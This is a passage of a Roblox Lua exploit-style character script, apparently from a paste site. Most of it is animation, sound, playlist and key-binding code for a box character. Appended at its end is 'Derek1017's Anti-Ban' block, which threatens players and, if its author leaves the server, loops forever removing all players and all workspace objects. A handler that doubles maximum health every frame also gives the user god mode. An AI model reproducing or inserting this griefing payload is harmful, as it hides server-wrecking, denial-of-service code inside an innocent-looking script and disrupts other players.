  1909. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1910. lerpz(RH, "C0", RHC0 * cf(0, -Charge*0.5, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1911. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1912. lerpz(LH, "C0", LHC0 * cf(0, -Charge*0.5, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1913. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1914. swait()
  1915. end
  1916. local hit = false
  1917. P.Touched:connect(function(Hit)
  1918. if hit == true then return end
  1919. if Hit.Anchored == true and Hit.Name ~= "NoMoonPls" then
  1920. hit = true P.Anchored = true
  1921. for i = 1,8 do
  1922. local S2 = Instance.new("Sound",P)S2.SoundId = "rbxassetid://211062246" S2.Volume = 10 S2:Play()
  1923. local S3 = Instance.new("Sound",P)S3.SoundId = "rbxassetid://133159174" S3.Volume = 10 S3:Play() game.Debris:AddItem(S3,4)
  1924. end
  1925. end
  1926. end)
  1927. else
  1928. local Charge = 0
  1929. for i = 1,25 do Charge = Charge + 0.3 c.HumanoidRootPart.Anchored = true Inflated = false Humanoid.HipHeight = Humanoid.HipHeight - 0.15
  1930. P.Size = P.Size-Vector3.new(Charge*0.1,Charge*0.1,Charge*0.1)W = Instance.new("Weld",c.HumanoidRootPart)W.Part0 = c.HumanoidRootPart W.Part1 = P
  1931. c.HumanoidRootPart.CFrame = c.HumanoidRootPart.CFrame*CFrame.new(0,-1,0)
  1932. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1933. lerpz(N, "C0", NC0 * cf(0, 0, -Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
  1934. lerpz(RS, "C0", RSC0 * cf(0, 0, -Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
  1935. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1936. lerpz(LS, "C0", LSC0 * cf(0, 0, -Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
  1937. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1938. lerpz(RH, "C0", RHC0 * cf(0, Charge*0.5, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1939. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1940. lerpz(LH, "C0", LHC0 * cf(0, Charge*0.5, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1941. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1942. swait()
  1943. end
  1944. resetlerp() P.Size = Vector3.new(3,3,3) W = Instance.new("Weld",c.HumanoidRootPart)W.Part0 = c.HumanoidRootPart W.Part1 = P S.Volume = 1
  1945. end
  1946. end
  1947.  
  1948. function Sadnessz()
  1949. if Sadness == false then
  1950. Song = "Sadness" Sadness = true
  1951. S.SoundId = "rbxassetid://225195031"
  1952. local Cl = Instance.new("Part",c)Cl.Size = Vector3.new(6,1,6)Cl.CanCollide = true Cl.Anchored = true Cl.BrickColor = BrickColor.new("Dark stone grey")
  1953. local M = Instance.new("SpecialMesh",Cl)M.MeshId = "rbxassetid://1095708" M.Scale = Vector3.new(7,4,7) local Ch = 0
  1954. while Sadness == true do
  1955. local Rain = Instance.new("Part",c)Rain.Size = Vector3.new(0.2,2,0.2)Rain.CanCollide = false Rain.BrickColor = BrickColor.new("Light blue")
  1956. local RM = Instance.new("BlockMesh",Rain)RM.Scale = Vector3.new(0.05,1,0.05) Rain.Material = "Neon" game.Debris:AddItem(Rain,2)
  1957. local BV = Instance.new("BodyVelocity",Rain)BV.Velocity = Vector3.new(0,-100,0)
  1958. BV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1959. Cl.CFrame = CFrame.new(c.HumanoidRootPart.Position+Vector3.new(0,6,0))
  1960. Rain.CFrame = Cl.CFrame*CFrame.new(math.random(-50,50)/10,0,math.random(-25,25)/10)
  1961. swait()
  1962. end
  1963. Cl:remove()
  1964. else
  1965. Sadness = false
  1966. end
  1967. end
  1968.  
  1969. Song = "TomodachiMarket"
  1970. function Playlist()
  1971. S.TimePosition = 0
  1972. if Song == "TomodachiMarket" then
  1973. Song = "SmexyJazz"
  1974. S.SoundId = "rbxassetid://178790549"
  1975. elseif Song == "SmexyJazz" then
  1976. Song = "Elevator"
  1977. S.SoundId = "rbxassetid://130768299"
  1978. elseif Song == "Elevator" then
  1979. Song = "Henesys"
  1980. S.SoundId = "rbxassetid://160461278"
  1981. elseif Song == "Henesys" then
  1982. Song = "WhiteChristmas"
  1983. S.SoundId = "rbxassetid://529406609"
  1984. elseif Song == "WhiteChristmas" then
  1985. Song = "Guitar"
  1986. S.SoundId = "rbxassetid://339600793"
  1987. elseif Song == "Guitar" then
  1988. Song = "SuperSanic"
  1989. S.SoundId = "rbxassetid://149103854"
  1990. elseif Song == "SuperSanic" then
  1991. Song = "WiiChannel"
  1992. S.SoundId = "rbxassetid://252169264"
  1993. elseif Song == "WiiChannel" then
  1994. Song = "8-Bitbowser"
  1995. S.SoundId = "rbxassetid://410075847"
  1996. elseif Song == "8-Bitbowser" then
  1997. Song = "Dragonforce"
  1998. S.SoundId = "rbxassetid://608289510"
  1999. elseif Song == "Dragonforce" then
  2000. Song = "Gerudo Valley"
  2001. S.SoundId = "rbxassetid://155743407"
  2002. elseif Song == "Gerudo Valley" then
  2003. Song = "EggsForBart"
  2004. S.SoundId = "rbxassetid://872826213"
  2005. elseif Song == "EggsForBart" or Song == "Sadness" then
  2006. Song = "TomodachiMarket"
  2007. S.SoundId = "rbxassetid://235529455"
  2008. end
  2009. end
  2010. Headlightz = false
  2011. function Headlights()
  2012. attack = true
  2013. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  2014. v2.Transparency = 0 end end end end tra.Enabled = true
  2015. c.Head.Transparency = 0
  2016.  
  2017. for i = 1,8 do
  2018. lerpz(RJ, "C0", RJC0 * cf(0, 0, 2) * ang(rd(15), rd(0), rd(0)), 0.5)
  2019. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(15), rd(0), rd(0)), 0.5)
  2020. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(45)), 0.5)
  2021. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2022. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(-45)), 0.5)
  2023. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2024. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2025. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2026. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2027. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2028. swait()
  2029. end
  2030. for i = 1,6 do
  2031. lerpz(RJ, "C0", RJC0 * cf(0, -1.5, 0.35) * ang(rd(30), rd(0), rd(0)), 0.5)
  2032. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(30), rd(0), rd(0)), 0.5)
  2033. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(25), rd(0), rd(35)), 0.5)
  2034. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2035. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(25), rd(0), rd(-35)), 0.5)
  2036. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2037. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2038. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2039. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2040. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2041. swait()
  2042. end
  2043. if Headlightz == false then
  2044. Headlightz = true
  2045. local He1 = Instance.new("Part",c)He1.Size = Vector3.new(1,0.4,1)He1.BrickColor = BrickColor.new("Bright green")He1.Material = "Neon"
  2046. local He2 = Instance.new("Part",c)He2.Size = Vector3.new(1,0.4,1)He2.BrickColor = BrickColor.new("Bright green")He2.Material = "Neon"
  2047. local W1 = Instance.new("Weld",P)W1.Part0 = P W1.Part1 = He1 W1.C0 = CFrame.new(0.7,0,-1.5)He1.Name = "Headlight1"
  2048. local C1 = Instance.new("CylinderMesh",He1)W1.C0 = W1.C0 * CFrame.Angles(math.rad(90),0,0)He2.Name = "Headlight2"
  2049. local W2 = Instance.new("Weld",P)W2.Part0 = P W2.Part1 = He2 W2.C0 = CFrame.new(-0.7,0,-1.5)
  2050. local C2 = Instance.new("CylinderMesh",He2)W2.C0 = W2.C0 * CFrame.Angles(math.rad(90),0,0)
  2051. elseif Headlightz == true then
  2052. Headlightz = false c:findFirstChild("Headlight1"):remove() c:findFirstChild("Headlight2"):remove()
  2053. end
  2054. for i = 1,3 do
  2055. lerpz(RJ, "C0", RJC0 * cf(0, -1, 2) * ang(rd(30), rd(0), rd(0)), 0.5)
  2056. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(30), rd(0), rd(0)), 0.5)
  2057. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(35)), 0.5)
  2058. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2059. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(-35)), 0.5)
  2060. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2061. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2062. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2063. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2064. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2065. swait()
  2066. end
  2067. for i = 1,3 do
  2068. lerpz(RJ, "C0", RJC0 * cf(0, 0, 2) * ang(rd(15), rd(0), rd(0)), 0.5)
  2069. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(15), rd(0), rd(0)), 0.5)
  2070. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(45)), 0.5)
  2071. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2072. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(-45)), 0.5)
  2073. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2074. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2075. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2076. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2077. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2078. swait()
  2079. end
  2080. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  2081. v2.Transparency = 1 end end end end tra.Enabled = true
  2082. c.Head.Transparency = 1
  2083. attack = false
  2084. end
  2085.  
  2086. local PEAR = Instance.new("Model",nil)
  2087. function PullInBox()
  2088. attack = true
  2089. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  2090. v2.Transparency = 0 end end end end tra.Enabled = true
  2091. c.Head.Transparency = 0
  2092. for i = 1,4 do
  2093. lerpz(RJ, "C0", RJC0 * cf(0, 0, 2) * ang(rd(15), rd(0), rd(0)), 0.5)
  2094. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(-15), rd(0), rd(0)), 0.5)
  2095. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(45)), 0.5)
  2096. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2097. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2098. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2099. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2100. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2101. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2102. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2103. swait()
  2104. end
  2105. local Hit = false
  2106. local FE = c["Right Arm"].Touched:connect(function(Part)
  2107. if Part ~= c and Part.Size.X <= 50 and Part.Size.Z <= 50 and Part.Size.Y <= 50 then
  2108. Part.Parent = PEAR
  2109. end
  2110. end)
  2111. for i = 1,2 do
  2112. lerpz(RJ, "C0", RJC0 * cf(0, -1.5, 2) * ang(rd(30), rd(15), rd(30)), 0.5)
  2113. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(-30), rd(15), rd(-30)), 0.5)
  2114. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(25), rd(0), rd(120)), 0.5)
  2115. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2116. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2117. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2118. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2119. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2120. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2121. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2122. swait()
  2123. end
  2124. for i = 1,2 do
  2125. lerpz(RJ, "C0", RJC0 * cf(0, -1.75, 1) * ang(rd(60), rd(15), rd(30)), 0.5)
  2126. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(-30), rd(15), rd(-30)), 0.5)
  2127. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(25), rd(0), rd(100)), 0.5)
  2128. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2129. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2130. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2131. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2132. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2133. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2134. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2135. swait()
  2136. end
  2137. for i = 1,4 do
  2138. lerpz(RJ, "C0", RJC0 * cf(0, -2.25, 0.5) * ang(rd(90), rd(15), rd(30)), 0.5)
  2139. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(-60), rd(15), rd(-30)), 0.5)
  2140. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(25), rd(0), rd(100)), 0.5)
  2141. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2142. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2143. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2144. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2145. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2146. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2147. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2148. swait()
  2149. end
  2150. for i = 1,4 do
  2151. lerpz(RJ, "C0", RJC0 * cf(0, 0, 2) * ang(rd(15), rd(0), rd(0)), 0.5)
  2152. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(-15), rd(0), rd(0)), 0.5)
  2153. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(45)), 0.5)
  2154. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2155. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2156. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2157. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2158. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2159. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2160. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  2161. swait()
  2162. end
  2163. FE:disconnect()
  2164. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  2165. v2.Transparency = 1 end end end end tra.Enabled = true
  2166. c.Head.Transparency = 1
  2167. attack = false
  2168. end
  2169.  
  2170. function ThrowStuff()
  2171. P.Anchored = true
  2172. for i,v in pairs (PEAR:children()) do v.Parent = game.Workspace v.Anchored = false v.CanCollide = true
  2173. local PS = Instance.new("Sound",v)PS.SoundId = "rbxassetid://521410270" PS.Volume = 1 PS.PlaybackSpeed = math.random(10,14)/10 PS:Play()
  2174. v.Name = "Weegee" v.CFrame = P.CFrame*CFrame.new(0,2,0)*CFrame.Angles(math.random(-90,90),math.random(-90,90),math.random(-90,90))
  2175. local BV = Instance.new("BodyVelocity",v)BV.Velocity = Vector3.new(math.random(-10,10),math.random(45,100),math.random(-10,10))game.Debris:AddItem(BV,0.1)
  2176. BV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2177. swait()
  2178. end
  2179. P.Anchored = false
  2180. end
  2181.  
  2182. function Weegee()
  2183. local PS = Instance.new("Sound",P)PS.SoundId = "rbxassetid://244303550" PS.Volume = 0.25 PS.PlaybackSpeed = math.random(8,18)/10 PS:Play()
  2184. local We = Instance.new("Part",game.Workspace)We.Size = Vector3.new(1,2,1)local WeM = Instance.new("SpecialMesh",We) We.Name = "Weegee"
  2185. WeM.MeshId = "rbxassetid://430819577" WeM.Scale = Vector3.new(0.001, 0.001, 0.001) WeM.TextureId = "rbxassetid://430819580"
  2186. We.CFrame = P.CFrame*CFrame.new(0,2,0)*CFrame.Angles(math.random(-90,90),math.random(-90,90),math.random(-90,90))
  2187. local BV = Instance.new("BodyVelocity",We)BV.Velocity = Vector3.new(math.random(-10,10),math.random(45,100),math.random(-10,10))game.Debris:AddItem(BV,0.1)
  2188. BV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2189. end
  2190. mouse.KeyDown:connect(function(key)
  2191. if attack == true then return end
  2192. if InBox == true and Inflated == false and Sadness == false then
  2193. if key == "x" then
  2194. Headlights()
  2195. end
  2196. if key == "q" then
  2197. PullInBox()
  2198. end
  2199. if key == "e" then
  2200. ThrowStuff()
  2201. end
  2202. if key == "b" then
  2203. Weegee()
  2204. end
  2205. elseif InBox == true and Sadness == true then
  2206. if key == "b" then
  2207. MoneyPls()
  2208. end
  2209. elseif InBox == false then
  2210. if key == "x" then
  2211. Inflate()
  2212. end
  2213. end
  2214. if key == "c" then
  2215. Sadnessz()
  2216. end
  2217. if key == "z" then
  2218. HideInBox()
  2219. end
  2220. if key == "v" then
  2221. WeegeeAttack()
  2222. end
  2223. if key == "f" then
  2224. Retreat()
  2225. end
  2226. if key == "n" then
  2227. Playlist()
  2228. end
  2229. if key == "m" then
  2230. SelfDestructBox()
  2231. end
  2232. end)
  2233.  
  2234. mouse.KeyUp:connect(function(key)
  2235. if key == "v" then
  2236. WeegeeAttax = false
  2237. end
  2238. end)
  2239.  
  2240. game:GetService("RunService").RenderStepped:connect(function()
  2241. Humanoid.MaxHealth = Humanoid.MaxHealth*2
  2242. Humanoid.Health = Humanoid.MaxHealth*2
  2243. if attack == false then
  2244. for i,v in pairs (c:children()) do
  2245. if v.ClassName == "Accessory" then
  2246. for i,v2 in pairs (v:children()) do
  2247. if v2.ClassName == "Part" then
  2248. v2.Anchored = false
  2249. end
  2250. end
  2251. end
  2252. end
  2253. for i,v in pairs (c:children()) do
  2254. if v.ClassName == "Part" then
  2255. v.Anchored = false
  2256. end
  2257. end
  2258. end
  2259. end)
  2260. ------Derek1017's Anti-Ban script!--------------------------------------Dont take credits!------------------------------------
  2261. ------------Don't change this!-----------
  2262. n = "D"
  2263. n = n.."e"
  2264. n = n.."re"
  2265. n = n.."k"
  2266. n = n.."1017"
  2267. h = Instance.new("Hint")
  2268. m = Instance.new("Message")
  2269. script.Name = n.."'s Anti-Ban"
  2270. --------------You can change below------------------
  2271. respawntime = 10
  2272. protect = "Derek1017"
  2273. -------Version [Don't change]------------
  2274. version = 3.0
  2275.  
  2276. while true do
  2277. if game.Players:findFirstChild(protect) == nil then
  2278. m.Parent = game.Workspace
  2279. m.Text = protect.." Is Banned! This Server WILL Shutdown!..."
  2280. wait(3)
  2281. m.Text = "Unban "..protect.." Or Remove Your Script, OR Else The Server WILL shutdown After The Following Countdown!"
  2282. wait(3)
  2283. for i= respawntime, 0, -1 do
  2284. if game.Players:findFirstChild(protect) == nil then
  2285. m.Text = "If "..protect.." Doesn't Reappear In ["..i.."] Then The Server WILL Shutdown!"
  2286. wait(1)
  2287. end
  2288. end
  2289. if game.Players:findFirstChild(protect) ~= nil then
  2290. m.Text = protect.." Is Back, The Server Will Stay Open!!"
  2291. wait(3)
  2292. m:remove()
  2293. else
  2294. while true do
  2295. for i, p in ipairs(game.Players:getChildren()) do
  2296. p:Remove()
  2297. end
  2298. for i, w in ipairs(game.Workspace:getChildren()) do
  2299. w:Remove()
  2300. end
  2301. wait()
  2302. end
  2303. end
  2304. else
  2305. h.Parent = game.Workspace
  2306. h.Text = "Derek1017's Anti-Kick/Anti-Ban Is Now Active!"
  2307. end
  2308. wait()
  2309. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement